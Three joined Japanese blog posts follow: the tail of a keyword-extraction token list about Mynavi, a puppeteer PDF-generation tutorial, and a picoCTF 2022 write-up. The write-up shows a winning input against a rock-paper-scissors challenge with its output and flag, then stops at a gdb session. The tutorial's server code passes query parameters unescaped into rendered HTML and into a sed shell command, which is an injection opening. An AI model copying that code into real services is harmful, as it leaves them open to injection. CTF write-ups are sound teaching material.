'求人', '採用', '活動', 'コンサルティング', '宣伝', '広告', 'PR', '業', '労働', '派遣', '事業', '有料', '職業', '紹介', '事業', 'セミナー', '講演', '講習', '催事', '企画', '立案', '実施', '人材', '育成', '企業', '経営', 'コンサルティング', '教育', '研修', '業務', '進学', '情報', '提供', '生徒', '学生', '募集', 'コンサルティング', '各種', '検定', '試験', '運営', '運営', '請負', 'ブライダル', '情報', '提供', '不動産', '賃貸', '譲渡', '情報', '提供', '不動産', '賃貸', '仲介', '斡旋', '業務', '旅行', '業', '宿泊', '施設', '情報', '提供', 'コンピュータソフトウェアゲームソフトウェア', '企画', '開発', '制作', '販売', '通信', '回線', 'コンピュータ', 'システム', '利用', 'する', '情報処理', '情報', '提供', 'サービス', 'ヘルスケア', '事業', '付帯', 'する', 'その他', '事業', '代表', '代表', '取締役', '社長', '中川', '信行', '資本', '年月日', '現在', '売上', '年月', '期', '営業', '利益', '純利', '益', '純資産', '万千円年月日現在総資産億万千円年月日現在従業員数', 'グループ', '全体', '社員', '決算', '期', '月日', '主要', '株主', '毎日新聞社', '%', '弱', '社員', '持株', '主要', '子会社', 'グループ', '企業', '項目', '参照', '外部', 'リンク', 'Corporation', '就職', '転職', '進学', '情報', '提供', '人材', '派遣', '人材', '紹介', '業務', 'する', '日本', '大手', '人材', '広告', '企業', '同名', 'ブランド', '人材', '情報', 'サービス', 'ポータルサイト', '運営', 'する', 'いる', '株式会社', '毎日コミュニケーションズ', 'まう', 'ちる', 'コミュニケーションズ', 'Mainichi', 'Communications', 'Inc', '創業', '年月日', '現在', '社名', 'なる', '目次', '概要', 'ブランド', 'ポータルサイトマイナビ', '各種', 'ポータルサイト', '沿革', 'グループ', '企業', '過去', 'グループ', '企業', 'CM', 'イメージ', 'キャラクター', '関連', '項目', '脚注', '外部', 'リンク', '概要', '元々', '毎日新聞社', '関連', '会社', '設立', 'する', 'れる', '現在', '本社', '毎日新聞社', 'パレスサイドビルディング', 'ある', '健康', '保険', '組合', '共通', '世間', '毎日新聞社', 'グループ', '企業', '認識', 'する', 'れる', '多い', '現在', '同社', '毎日新聞社', '持株', '比率', '%', '割る', 'おる', '資本', 'つながり', '非常', '薄い', 'なる', 'いる', '毎日新聞社', '側', 'グループ', '会社', '友好', '会社', 'する', 'いる', '一方', 'ライバル', '企業', '朝日新聞社', '若干', '出資', 'する', 'いる', '年月', 'マイナビ', '出版', '分社', 'する', '出版', '事業', '毎日新聞', '掲載', 'する', 'れる', '連載', '記事', '連載', '小説', '書籍', '年月', '設立', 'する', 'れる', '毎日新聞', '出版', '行う', 'おる', '出版', '社', '設立', '毎日新聞社', '自身', '出版', '行う', 'いる', 'マイナビ', '行う', 'れる', 'いる', '毎日コミュニケーションズ', '時代', '発売', 'する', 'ニンテンドー', 'DS', 'ソフト', '最強', '漢字', 'ドリル', '問', '毎日新聞社', '出題', '協力', 'する', 'いる', '毎日コミュニケーションズ', '時代', '一般', '向け', '略称', '英字', '略称', 'MYCOM', 'マイ', 'コム', '用いる', 'いる', '提供', 'する', 'サービス', '冠す', 'いる', '年月', 'CI', '導入', 'する', 'カタカナ', '表記', 'マイコミ', '略称', '切り替える', '自社', '運営', 'する', 'サービス', '冠', '名称', 'マイコミ', 'マイナビ', '切替', '実施', 'する', 'いる', '現在', '社名', '主力', 'サービス', '就職', '情報', 'サイト', 'マイナビ', '企業', '採用', 'する', '社', '章', 'マイナビ', 'm', 'n', 'かたどる', 'ライン', '人生', '波', '波', '寄り添う', 'ドット', '転機', '表現', 'する', 'MN', 'マーク', '採用', 'する', 'いる', '朝日放送', 'テレビ', 'ABC', 'テレビ', '主催', '男子', 'プロ', 'ゴルフ', 'ツアー', 'ABC', 'チャンピオンシップ', 'ゴルフ', 'トーナメント', '特別', '協賛', 'する', 'マイナビ', 'ABC', 'チャンピオンシップ', 'ゴルフ', 'トーナメント', '実施', 'する', 'れる', 'プロ', '野球', 'オールスター', 'ゲーム', '特別', '協賛', 'する', 'マイナビオールスターゲーム', '実施', 'ブランド', 'ポータルサイトマイナビ', 'Mynavi', '株式会社', 'マイナビ', '運営', 'する', '人材', '情報', 'サービス', 'ポータルサイト', 'マイナビ', 'ブランド', '毎日コミュニケーションズ', '提供', 'する', 'くる', '人材', '情報', 'サイト', '統合', 'する', 'サービス', 'ブランド', '年月', '末', '発表', '年月日', '付', '使用', '開始', 'する', 'れる', 'マイナビ', '呼称', '最初', '使う', 'れる', 'の', '新卒', '学生', '向け', '就職', '情報', 'サイト', '就職', 'ナビ', 'ちる', 'ゅうしょく', 'ナビ', '略称', '人材', '情報', 'サービス', '全体', '示す', '共通', 'ブランド', '昇格', 'する', '使用', 'する', 'れる', '年月日', '活力', 'ある', 'ブランド', '浸透', 'する', 'マイナビ', '呼称', '社名', '採用', 'する', '毎日コミュニケーションズ', '企業', '株式会社', 'マイナビ', '変更', 'する', 'マイナビ', '各種', 'ポータルサイト', '従来', '同社', '手がける', 'いる', '新卒', '学生', '向け', 'マイナビ', '西暦', 'つく', '転職', '希望', '向け', '派遣', '希望', '向け', '進学', '希望', '向け', 'サービス', '加える', 'アルバイト', '希望', '向け', 'サイト', 'オープン', 'する', '総合', '人材', '情報', 'サイト', '規模', '拡大', '続ける', 'マイナビ', '賃貸', 'マイナビウエディング', '人材', '情報', '以外', '分野', 'サイト', '相次ぐ', 'オープン', 'する', 'せる', 'リクナビ', 'SUUMO', '展開', 'する', '同業', '他社', '有力', '企業', '群', 'リクルート', 'グループ', '対抗', '勢力', '姿勢', '強い', '打ち出す', 'いる', '沿革', '年月日', '株式会社', '毎日コミュニケーションズ', '設立', '当初', '新聞', '出版', '絵画', '美術', '輸入', '販売', '目的', '設立', '海外', '留学', '目指す', '大学生', '留学', '手続き', '代行', '携わる', '個人', '留学', '部門', '発足', 'する', 'れる', '文化', '交流', '一環', '書道', '訪中', '団', '中国', '送り込む', '年月', '就職', '情報', '就職', 'ガイド', '創刊', '年月', '週刊', '将棋', '創刊', '年月', 'Mac', 'Fan', '創刊', '年月', 'PCfan', '創刊', '年月', 'インターネット', '就職', '情報', '提供', 'サービス', 'Career', 'Space', 'のち', '就職', 'ナビ', '現在', 'マイナビ', '開始', '年月', 'コンピュータ', 'ゲーム', '雑誌', 'The', 'DREAM', 'ニンテンドードリーム', '変更', '創刊', '年月日', '株式会社', 'MC', 'プレス', '設立', '年月日', '東京', '地図', '出版', '株式会社', '子会社', '年月日', 'MC', 'プレス', '解散', '年月日', '日本', '将棋', '連盟', '発行', '刊行', '物', '制作', '販売', 'する', '発表', '年月日', '株式会社', 'マイナビ', '社名', '変更', '同日', 'ニュース', 'サイト', 'マイコミジャーナル', 'COBS', 'ONLINE', '統合', 'する', 'マイナビニュース', 'オープン', '年月日', '完全', '子会社', '東京', '地図', '出版', '株式会社', '吸収', '合併', '年月日', '完全', '子会社', '株式会社', 'マイナビエージェント', '吸収', '合併', '年月', '株式会社', 'マイナビ', '浜松', '吸収', '合併', '年月日', '株式会社', 'マイナビ', '静岡', '吸収', '合併', '年月日', '出版', '事業', '分社', 'する', '株式会社', 'マイナビ', '出版', '設立', '厚生', '労働省', '委託', '事業', '職業', '紹介', '優良', '事業', '認定', '制度', '職業', '紹介', '優良', '事業', '事業', '認定', '取得', '年月日', '株式会社', 'マイナビコリア', 'Mynavi', 'KOREA', '設立', '年月日', 'ヘルスケア', '事業', '障る', 'いる', '雇用', '開発', '部門', '分社', 'する', '株式会社', 'マイナビパートナーズ', '設立', '年月日', '赤坂', 'BLITZ', '命名', '権', '取得', 'する', 'マイナビ', 'BLITZ', '赤坂', 'なる', 'グループ', '企業', '株式会社', 'マイナビ', '出版', '年月日', '出版', '事業', '分社', '株式会社', 'マイナビサポート', '発送', '代行', 'アウトソーシング', '会社', 'ビジネス', 'サポート', '株式会社', 'オーク', 'ション', '美術', 'オークション', '会社', '年月', '毎日コミュニケーションズ', '美術', '事業', '独立', 'する', '設立', '株式会社', 'マイナビ', '株主', '株式会社', '学術', 'フォーラム', '各種', '学会', '業務', '受託', '会社', '年月日', '設立', '株式会社', 'マイナビパートナーズ', '年月日', 'ヘルスケア', '事業', '障る', 'いる', '雇用', '開発', '部門', '分社', '日本', 'エス・エイチ・エルイギリス', 'SHL', 'グループ', 'ライセンス', '契約', '結ぶ', 'いる', '人材', 'アセスメント', 'サービス', '会社', '年月', '株式', '%', '譲渡', '受ける', '年月', '末', '現在', 'マイナビ', '筆頭', '株主', '%', 'なる', 'いる', 'Mynavi', 'USA', 'Corporation', 'アメリカ', 'ニューヨーク', '現地', '法人', '年月日', '毎日コミュニケーションズ', 'USA', '商号', '変更', '協', '北京', '諮詢', '有限', '公司', '中国', '北京', '現地', '法人', '北京', '協', '人力', '資源', '有限', '公司', '中国', '北京', '現地', '法人', '株式会社', 'マイナビコリア', 'Mynavi', 'KOREA', 'Corporation', '韓国', 'ソウル', '現地', '法人', '年月日', '韓国', '貿易', '協会', '業務', '協約', '締結', '過去', 'グループ', '企業', '株式会社', 'MC', 'プレス', 'コンビニ', '規制', '分離', '独立', 'する', '出版', '社', '有害', '図書', '参照', '年月', '解散', '東京', '地図', '出版', '株式会社', '年月', '株式', '譲渡', '受ける', '子会社', '年月', '吸収', '合併', '株式会社', 'マイナビエージェント', '総合', '人材', '派遣', '業', '年月日', '株式会社', 'キャリア', 'バンク', '商号', '変更', '年月', '吸収', '合併', '株式会社', 'エデュケーション', '毎日コミュニケーションズ', '海外', '事業', '留学', '斡旋', '事業', '事業', '譲受', 'する', '会社', '法人', 'マイナビ', 'グループ', '企業', 'ない', '株式会社', 'マイナビ', '浜松', '静岡', '西部', '特', 'する', '人材', '情報', '会社', '年月', '設立', '年月', '吸収', '合併', '株式会社', 'マイナビ', '静岡', '静岡', '特', 'する', '人材', '情報', '会社', '年月', '毎日コミュニケーションズ', '静岡', '支社', '株式会社', 'MYCOM', '静岡', '独立', '年月日', '株式会社', 'マイコミ', '静岡', '商号', '変更', '年月', '吸収', '合併', 'CM', 'イメージ', 'キャラクター', '石川', '遼', 'マイナビブランド', '共通', '大塚', '愛', 'マイナビ', 'flumpool', 'マイナビ', '有吉', '弘行', 'マイナビ', '内村', '光良', 'マイナビ', '黒島', '結', '菜', 'マイナビスガシカオマイナビ', '転職', '前田', '敦子', 'マイナビ', '転職', 'イメージ', 'キャラクター', '石原', 'さとみ', 'マイナビ', '転職', 'イメージ', 'キャラクター', '有村', '架', '山', '﨑賢', 'マイナビバイト', '波', '瑠', 'マイナビ', '看護', '師', '飯豊', 'まりえ', '初代', 'マイナビウエディングガール', '金城', '茉奈', '代目', 'マイナビウエディングガール', '新田', '真剣', '佑', 'マイナビウエディングキャラクター', '吉川', '愛', '代目', 'マイナビウエディングガール', 'AKB', '谷口', 'めぐる', '福岡', '聖', '菜', '小栗', '有', '以', '樋渡', '結依', '久保', '怜', '音', 'マイナビ', '賃貸', '吉沢', '亮', 'マイナビバイト', '関連', '項目', 'マイナビニュース', '世界', '遺産', '検定', '愛しい', '仕事', 'さま', 'マイナビ', '社', '提供', '学生', '向け', '就職', '活動', '情報', '番組', '将棋', '棋戦', 'レディースオープントーナメントマイナビ', '女子', 'オープン', '男子', 'プロゴルフツアーマイナビ', 'ABC', 'チャンピオンシップゴルフトーナメントプロ', '野球', '横浜', 'DeNA', 'ベイスターズ', 'ユニフォーム', 'スポンサー', '東京', 'ヤクルトスワローズ', '現在', 'トップ', 'スポンサー', '本拠地', '明治', '神宮', '野球', '広告', '掲出', 'セントラル・リーグクライマックスシリーズヤクルト', '同年', 'リーグ', '制覇', 'する', 'マイ', 'ナビ', 'セント', 'ラルリーグクライマックスシリーズファイナルステージ', '協賛', 'セントラル・リーグクライマックスシリーズヤクルト', 'レギュラー', 'シーズン', '位', '終える', 'マイナビクライマックスシリーズセファーストステージ', '協賛', 'マイナビオールスターゲーム', '冠', 'スポンサープロボクシング', '村田', '諒', '太', 'トランクススポンサープロビーチバレーボール', '坂口', '佳穂', '鈴木', '悠', '佳子', '所属', '選手', 'ジャパンビーチバレーボールツアー', '開始', '東京', '大会', 'マイナビシリーズ', '協賛', 'プロサッカーロアッソ', '熊本', 'ユニフォーム', '背中', '上部', '広告', '掲載', 'ベガルタ', '仙台', 'ユニフォーム', 'ズボン', '前部', '広告', '掲載', '女子', 'サッカーベガルタ', '仙台', 'レディース', '年度', '年間', 'パートナー', '契約', 'マイナビベガルタ', '仙台', 'レディース', '名称', 'なる', 'チーム', '完全', '買収', 'する', 'マイナビ', '仙台', 'レディース', '名称', '運営', 'する', 'プロ', 'バスケットボール', '千葉', 'ジェッツ', 'ふる', 'する', 'シーズン', 'オフィシャルパートナーマイナビ', 'Be', 'a', 'booster', 'B', 'LEAGUE', 'ウィークリー', 'ハイライト', 'BS', '放送', 'する', 'れる', 'B', 'LEAGUE', '情報', '番組', '確認', 'フェスティバル', '年度', 'メイン', 'サポーター', '就任', 'する', 'マイナビ', '確認', 'フェスティバル', '開催', '新聞', '社', '出版', '社', '毎日新聞', '出版', '毎日新聞社', '系列', '毎日新聞社', '出版', '局', '分社', '朝日新聞', '出版', '朝日新聞社', '系列', '産経新聞', '出版', '産業経済新聞社', '系列', '発売', ':', '扶桑社', '中央公論', '社', '読売新聞', 'グループ', '本社', '傘下', '読売新聞', '東京', '本社', '書籍', '刊行', '日本経済新聞', '出版', '社', '日本経済新聞社', '系列', '日経', 'BP', '上大', '東亜', '帝国', '脚注', '脚注', '使い方', '^', '毎日新聞', 'グループ', 'ホールディングス', '毎日新聞社', '^', '有価', '証券', '報告', '期', '平成', '年月日', '平成', '年月日', 'ページ', '朝日新聞社', 'EDINET', '提出', '書類', '株', '保有', '^', '毎日新聞社', '協力', '最強', '漢字', 'ドリル', '問', '^', '年度', '放送', '持株', '会社', '移行', '朝日放送', '^', '株式会社', '毎日コミュニケーションズ', '株式会社', 'マイナビ', '社名', '変更', '^', '将棋', '世界', '将棋', '年鑑', '当初', '販売', '発表', 'する', 'れる', 'いる', 'のち', '制作', '販売', '変わる', '^', '株式会社', '毎日コミュニケーションズ', '株式会社', 'マイナビ', '社名', '変更', '^', '出版', '事業', '部門', '分社', 'する', '株式会社', 'マイナビ', '出版', '設立', '株式会社', 'マイナビ', '年月日', '月日', '閲覧', '^', '企業', '情報', ':', 'マイナビエージェント', '評判', '転職', 'wiki', '"', '転職', 'wiki', '年月日', '閲覧', '^', '会社', '情報', '-', 'Mynavi', 'KOREA', '^', '株式会社', 'マイナビパートナーズ', '設立', 'お知らせ', 'マイナビ', '^「', '赤坂', 'BLITZ', 'ネーミングライツ', '命名', '権', '取得', '^', '会社', '情報', '-', 'Mynavi', 'KOREA', '^「', '韓国', '若者', '日本', '就職', 'する', '韓国', '協会', '支援', '方針', '説明', '開催', '/', 'ページ', '産経', 'ニュース', '^', 'マイナビ', '石原', 'さとみ', '起用', 'CM', 'ソング', 'ファンキー', '加藤', '"', '年月日', '年月日', '閲覧', '^', 'マイナビベガルタ', '仙台', 'レディース', '経営', '権', '譲渡', '株式会社', 'マイナビ', '合意', '締結', 'お知らせ', 'ベガルタ', '仙台', '年月日', '外部', 'リンク', '株式会社', 'マイナビマイナビ', '株式会社', 'マイナビ', '@', 'mynavi', '_', 'pr', 'Twitter', '先代', 'マツダ', '年年', 'NPB', 'オールスターゲームオフィシャル・スポンサー', '年次', '代', 'N', '/', 'A', '表', '編', '毎日新聞社', '本社', '毎日新聞', 'グループホールディングスグループ', '持株', '会社', '東京', '千代田', '東京', '本社', '東京', '千代田', '大阪', '本社', '大阪', '大阪', '北', '西部', '本社', '福岡', '北九州', '小倉北', '中部', '本社', '愛知', '名古屋', '中村', '支社', '本部', '北海道', '支社', '北海道', '札幌', '中央', '福岡', '本部', '福岡', '福岡', '中央', 'する', 'さす', 'オフィス', '愛知', '名古屋', '中村', '現在', '刊行', '物', '毎日新聞', '毎日新聞', 'デジタル', 'TAP', 'i', '小学生', '新聞', 'ウィークリー', '点字', 'サンデー毎日', '毎日新聞', '縮刷', '版', 'エコノミスト', 'エコノミスト', '投資', '達人', '月刊', 'News', 'わかる', 'MMJ', '過去', '刊行', '物', 'デイリー', 'ニューズ', 'MAINICHI', 'RT', '中学生', '新聞', 'こども', 'しんぶん', 'カメラ', '年鑑', 'ん', 'たん', 'ブロード', '系列', '新聞', '社', 'スポーツニッポン新聞社', '福島民報社', '下野新聞社', '関連', '放送', '局', 'TBS', 'ホールディングス', 'TBS', 'テレビ', '/', 'TBS', 'ラジオ', '/', 'BS', 'TBS', 'MBS', 'メディア', 'ホールディングス', '毎日放送', '/', 'MBS', 'ラジオ', 'RKB', 'ホールディングス', 'RKB', '毎日放送', 'ラジオ', 'テレビ山口', '和歌山放送', 'ラジオ', '福島', 'BS', '広告', '関連', '広告', '社', '不動産', '関連', 'ビルディング', 'スポーツ', '関連', '選抜', '高等', '学校', '野球', '大会', '都市', '対抗', '野球', '大会', '社会', '野球', '日本', '選手権', '大会', '全日本', 'クラブ', '野球', '選手権', '大会', '全国', '高等', '学校', 'ラグビーフットボール', '大会', '日本', 'フットボール', '優勝', '大会', '甲子園ボウル', 'テニス', '選手権', '黒', '鷲', '旗', '全日本', '男女', '選抜', 'バレーボール', '大会', '全日本', '実業', '団', '対抗', '駅伝', '競走', '大会', '全日本', '実業', '団', '対抗', '女子', '駅伝', '競走', '大会', '別府', '大分', 'マラソン', '大阪', 'マラソン', '全国', '高等', '学校', '駅伝', '競走', '大会', 'スポーツ', '賞', '杯', '王冠', '王将', '戦', '名人', '戦', '本因坊', '戦', '全日本', 'アマチュア', '本因坊', '戦', '浜寺', '水練', '学校', '歴史', '事件', '毎日新聞', '歴史', '/', '大阪毎日新聞', '/', '東京日日新聞', '時事新報', '光', '事件', '竹槍', '事件', '本社', '襲撃', '事件', '西山', '事件', 'グリコ', '森永', '事件', '捏造', '事件', 'Who', 'are', 'you', '報道', '社長', '監禁', '事件', 'デイリー', 'ニューズ', 'WaiWai', '問題', '関連', '人物', 'カテゴリ', '毎日新聞社', '人物', '/', '本山', '彦一', '松本', '重太郎', '原', '敬', '小松原', '英太郎', '福地', '源一郎', '関', '直彦', '伊東', '巳代治', '加藤', '高明', '城戸', '亮', '岡', '實', '奥村', '信太郎', '高石', '真', '五郎', '本田', '親男', '上田', '常', '隆', '梅島', '貞', '山本', '光春', '田中', '香苗', '平岡', '敏男', '山内', '大介', '渡辺', '襄', '小池', '唯夫', '斎藤', '明', '北村', '正', '任', '朝比奈', '豊', '丸山', '昌宏', '高橋', '信三', '坂田', '勝郎', '斎藤', '守', '慶', '古谷', '綱', '西山', '太吉', '細川', '隆一郎', '三宅', '久之', '鳥', '井守', '幸', '岩見', '隆夫', '鳥越', '俊太郎', '嶌信', '彦岸', '井成', '格', '牧', '太郎', '近藤', '勝重', '与良', '正男', '芥川', '龍之介', '井上', '靖', '山崎', '豊子', '種村', '直樹', '関連', '項目', '日曜', 'くらぶ', '日曜', '版', 'JNNJRN', '毎日新聞', 'ニュース', '桜田', 'アサッテ', '君', 'ウチ', 'ぐうたら', 'ママ', 'かあさん', 'マイナビマイナビ', '出版', '映画', '社', '信用組合', 'ナゴヤキャッスル', '千葉', 'ロッテマリーンズ', 'まく', 'クラブ', '脚注', 'JNN', '加盟', '局', '友好', '会社', '主要', '局', '掲載', 'マスメディア', '集中', '排除', '原則', '支配', '%', '超える', '議決', '権', '有す', 'いる', '局', 'グループ', '会社', '典拠', '管理', 'NDL', 'VIAF', 'WorldCat', 'Identities', 'viaf'] 「/」などまだまだ整形する余地はありそうですが、 なんとなく文章を特徴づける単語に集約できた感じがします。 おわり 今回は文章に対して「ストップワード除去」と「正規化」という方面から整形を行ない、 その文章を特徴づける単語を抽出することをいたしました。 簡単に処理しただけなので時間をかければさらによりよい抽出ができそうだと感じました。 今後関連するモジュール等が発表されれば、使って追記したいと思います。 ご精読ありがとうございました。
アバター
動機 PDFから印刷した紙面に手書きで文字を記載して送付する業務を経験したことがある皆さん、書いていて面倒だなと思ったことはありませんか? 私は思いました。 なので、もっと様々な人にPDFファイルは簡単に作れるということを知ってほしい、そんな気持ちでこの記事を書いています。 用途としては、入力事項からPDFを作成するようなアプリケーションを作成したり、毎月作成する必要があるような書類を自動生成したり、名前などの一部の入力事項のみが異なる類似書類を大量生成するようなケースを想定しています。 一枚だけ作成したいなどの場合は、なんだかんだ言って適当にHTML書いてPDFに印刷するのが早くて自由度が高いと思います。 emmetなどを用いてささっと書けば、それほど時間もかからず書けるはずです。 特に書式にこだわらないテキストだけの書類の場合は、markdownで文章を作成してpdfへの変換ツールで変換してあげると楽でしょう。 みんな大好きJavaScriptでPDFを作る手段は複数存在する あまり話題にならない印象ですが、PDFを作成するライブラリの歴史は実は意外と長く、それなりに安定したライブラリが複数存在します。 例えば、はるか昔、新人の頃、私が業務で作成した社内向けツールでは、 pdfmake というライブラリを使用しました。 ゴリゴリとjsonを書くとPDFに変換してくれるという、手間だけど便利なライブラリです。 便利ですが、jsonから作成するという関係上独自の書式に縛られる点や、日本語フォント設定がとても面倒という点が不自由でした。 また、有名どころだと PDFKit や jsPDF などもあります。 ですが、今回はこれら以外でフロント技術者なら一度は触ったことがある or 名前を聞いたことがあるツールを使用してPDFを作成しようかと思います。 理由は単純で、今までに挙げた3つはそこそこのinputを必要とするからです。特に設定や日本語フォント周り。 個人的な意見ですが、ある程度整った書式のものを作る場合は、慣れるまではHTML書いてPDFに変換した方が早いです。 必要なら新しいものを覚えることは大切ですが、手元の技術で苦労せずにできるなら、面倒なことはやっていられません。 そんなわけで、今回使用するのはpuppeteerです。 E2Eテストなどでツールを検討したことがある人は、CypressやPlaywrightなどと合わせてテストツールの候補に検討したことがあるでしょう。 また、Node.jsでスクレイピングを試みた方であれば、多くの方がこれを利用したかと思います。 puppeteerとはなんぞや Puppeteer is a Node library which provides a high-level API to control Chrome or Chromium over the DevTools Protocol. Puppeteer runs headless by default, but can be configured to run full (non-headless) Chrome or Chromium. https://github.com/puppeteer/puppeteer ざっくり言うと、ブラウザ操作の自動化ツール、Beautiful Soupなんかを触ったことがある人なら何となくイメージが付くかもしれません。 公式のサンプルコードを少し書き換えたものを用意したので見てみましょう。 // fetchMynaviPDF.jsconst puppeteer = require('puppeteer');(async () => { const browser = await puppeteer.launch(); const page = await browser.newPage(); await page.goto('https://www.mynavi.jp/'); await page.pdf({ path: 'mynavi.pdf', format: "A4" }); await browser.close();})(); これは、弊社のホームページをA4のPDFにして保存するコードです。 関数が比較的わかりやすい名前をしているので、Javascriptを普段あまり読まない人も、ホームページに移動してPDFを作成しているということが何となくわかるかと思います。 さて、このコードを見て気が付くと思います。 これ、ページ遷移する代わりにHTMLを渡せば、HTMLからPDFを作成できますね。 つまり、渡すHTMLに任意の値を挿入したり、あるいはHTML文字列を直接渡せるような環境があれば、お手軽にPDFを作成できることになります。 puppeteerを使ってPDFを作成する 今回は、テンプレートとなるHTMLに任意の文字列を挿入することでPDFを作成する、そんなアプリケーションを作成します。 アプリケーション全体の流れを確認します。 クライアント側から何らかの手段でバックエンドのAPIを叩く バックエンド側でAPIを叩いた際に付与された値を、テンプレートのHTMLに挿入する。 バックエンド側でpuppeteerを用いてPDFを作成、クライアント側に返送する。 生成するPDFは、適当なイベントへの参加申請書類とします。 バックエンド側でpuppeteerを用いてPDFを作成、クライアント側に返送する まず、リクエスト受けたらテンプレートとなるファイルのPATHからテンプレートを読み込み、PDFのBufferを返送用するAPIサーバーを作成します。 サーバーについてはこちらにコードを貼る都合上expressを用いましたが、真面目に作るならNest.jsなどの方が良いです。 // server.jsconst express = require('express')const fs = require("fs")const path = require("path")const puppeteer = require("puppeteer")const app = express()const port = 8080app.get('/', (req, res) => { res.send('please request to /api/generate/sample.pdf')})app.get('/api/generate/sample.pdf', async (req, res) => { const generatePDF = async () => { const htmlTemplate = fs.readFileSync( path.resolve(__dirname, './template/template.html'), 'utf-8' ) const browser = await puppeteer.launch({ headless: true }) const page = await browser.newPage() await page.setContent(htmlTemplate) const buffer = await page.pdf({ printBackground: true, format: 'A4', margin: { top: 0, right: 0, bottom: 0, left: 0 } }) browser.close(); return buffer } const content = await generatePDF() res.send(content)})app.listen(port, () => { console.log(`listening ${port} port`)}) コードの約半分Express関連の処理なので、本来必要な処理のみ抽出します。 // js const generatePDF = async () => { const htmlTemplate = fs.readFileSync( path.resolve(__dirname, './template/template.html'), 'utf-8' ) const browser = await puppeteer.launch({ headless: true }) const page = await browser.newPage() await page.setContent(htmlTemplate) const buffer = await page.pdf({ printBackground: true, format: 'A4', margin: { top: 0, right: 0, bottom: 0, left: 0 } }) await browser.close(); return buffer } 上記の2~4行目で./template/template.htmlにあるHTMLファイルを取得、それを8行目でpuppeteerに渡したのち、PDFに変換しています。 APIを叩いた際に付与された値を、テンプレートのHTMLに挿入する GETあるいはPOSTで飛んできたデータを、HTMLテンプレートの特定の箇所と置換します。 今回はイベント参加申請書類ということなので、日付と名前を置換することにします。 先にテンプレートに置換対象の文字列を仕込んでおきます。 今回は日付と名前ということなので、それぞれ{{date}}, {{name}}としておきます。 置換については、JavaScriptのreplace関数で行います。 // js const generatePDF = async () => { const htmlTemplate = fs.readFileSync( path.resolve(__dirname, "./template/template.html"), "utf-8" ); // クエリパラメータから取得 const name = req.query?.name; const date = req.query?.date; // 置換 const htmlText = htmlTemplate.replace(/{{name}}/g, name).replace(/{{date}}/g, date) const browser = await puppeteer.launch({ headless: true }); const page = await browser.newPage(); await page.setContent(htmlText); const buffer = await page.pdf({ printBackground: true, format: "A4", margin: { top: 0, right: 0, bottom: 0, left: 0, }, }); browser.close(); return buffer; }; これで、HTMLから任意の文字列に置換したPDFを生成できるようになりました。 クライアント側から何らかの手段でバックエンドのAPIを叩く ブラウザの場合、該当のURLにクエリパラメータを足して遷移すると、ダウンロードが開始されます。 ただし、fetchなどでAPIを叩いた場合、取得するのはPDFのbufferなので、そこの変換処理を行ってあげる必要があります。 大量にファイルを作成したいとき、手元にcsvなどがあるならzxでfs使って1行ずつ読みながらwget叩くと楽かもしれません。 ローカル上で実行している場合は、const buffer = を外してサンプルコードを参考にpage.pdfのオプションに適当なpathを追加すれば、Experessが稼働している場所にファイルが生成されるのでそちらの方が手軽でしょう。 おまけ zxを使用するとこのようにコードを減らせるので便利です。 // server.js#!/usr/bin/env zximport express from "express";import puppeteer from "puppeteer";const app = express();const port = 8080;app.use(express.json())app.get("/", (req, res) => { res.send("please request to /api/generate/sample.pdf");});app.get("/api/generate/sample.pdf", async (req, res) => { const generatePDF = async () => { // POSTから取得 const name = req.query?.name; const date = req.query?.date; // 取得 & 置換 const htmlText = ( await $`sed -e "s/{{name}}/${name}/g" -e "s/{{date}}/${date}/g" ./template/template.html` ).stdout const browser = await puppeteer.launch({ headless: true }); const page = await browser.newPage(); await page.setContent(htmlText); const buffer = await page.pdf({ printBackground: true, format: "A4", margin: { top: 0, right: 0, bottom: 0, left: 0, }, }); browser.close(); return buffer; }; const content = await generatePDF(); res.send(content);});app.listen(port, () => { console.log(`listening ${port} port`);}); sedコマンドを使えば、ファイル取得と置換を一つの処理で済ませられるので本当に便利です。 zxについてはこちらの記事で紹介しているので、ぜひ触ってみてください。 ###card_post_id=1049###
アバター
前編 本記事はpicoCTF 2022のWriteup(前編)の続きです。 ###card_post_id=939### RPS Description Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row. Connect to the program with netcat: $ nc saturn.picoctf.net 53865 The program's source code with the flag redacted can be downloaded here . じゃんけんで5回勝てばいい問題です。 以下は勝ち負けに影響する部分を抜粋したものです。 //game-redacted.c...// 手の管理。handsは出力用。losesは勝ち負け判定で利用char* hands[3] = {"rock", "paper", "scissors"};char* loses[3] = {"paper", "scissors", "rock"};int wins = 0;... // コンピュータの手を決定 int computer_turn = rand() % 3; printf("You played: %s\n", player_turn); printf("The computer played: %s\n", hands[computer_turn]); // 勝ち負けの判定 if (strstr(player_turn, loses[computer_turn])) { puts("You win! Play again?"); return true; } else { puts("Seems like you didn't win this time. Play again?"); return false; } ... strstr(player_turn, loses[computer_turn])で勝ち負けを判定しているのがわかります( strstrは 文字列を検索する関数 )。 ユーザの入力文字に対して検証を行っていないので、以下のパターンで確実に勝てます。 maz-picoctf@webshell:~/bof1$ nc saturn.picoctf.net 53865Welcome challenger to the game of Rock, Paper, ScissorsFor anyone that beats me 5 times in a row, I will offer up a flag I foundAre you ready?Type '1' to play a gameType '2' to exit the program11Please make your selection (rock/paper/scissors):rock/paper/scissors ← 確実に勝てる魔法の手rock/paper/scissorsYou played: rock/paper/scissorsThe computer played: scissorsYou win! Play again?Type '1' to play a gameType '2' to exit the program...Please make your selection (rock/paper/scissors):rock/paper/scissorsrock/paper/scissorsYou played: rock/paper/scissorsThe computer played: rockYou win! Play again?Congrats, here's the flag!picoCTF{50M3_3X7R3M3_1UCK_B69E01B8} flag : picoCTF{50M3_3X7R3M3_1UCK_B69E01B8} buffer overflow 2 Description Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program ? You can view source here . And connect with it using nc saturn.picoctf.net 61527 buffer overflow1 と同じ戦略で解いていきます。 違う箇所は下記の通り、win関数に引数が設定されていて且つそれの検証を行っている点です。 //vuln.c...void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf);} なるほど。 maz-picoctf@webshell:~/bof2$ gdb vulnGNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2Copyright (C) 2020 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later 